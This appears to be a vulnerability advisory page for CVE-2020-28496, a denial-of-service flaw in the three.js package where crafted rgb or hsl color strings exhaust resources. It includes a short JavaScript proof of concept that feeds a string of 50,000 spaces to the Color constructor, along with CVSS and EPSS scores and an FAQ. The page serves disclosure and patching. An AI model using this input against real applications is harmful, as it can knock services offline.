Resource exhaustion in Three Project

CVE-2020-28496

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Vulnerability class: DoS (Denial of Service)

EPSS: 0.025 (83.2th percentile) — read the EPSS interpretation.

CVSS v3 metric

CVSS v3 base score 7.5 (High). Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Affected products

Weakness classification (CWE)

Public proof-of-concept exploits

References

Frequently asked questions

What is CVE-2020-28496?
CVE-2020-28496 is a high-severity vulnerability in Three Project, classified under Uncontrolled Resource Consumption. CVSS score: 7.5/10. Published 2021-02-18.
How severe is CVE-2020-28496?
High severity. CVSS v3 base score is 7.5 out of 10.
Is CVE-2020-28496 known to be exploited?
3 public proof-of-concept repositories are indexed. Not currently listed in the CISA KEV catalog.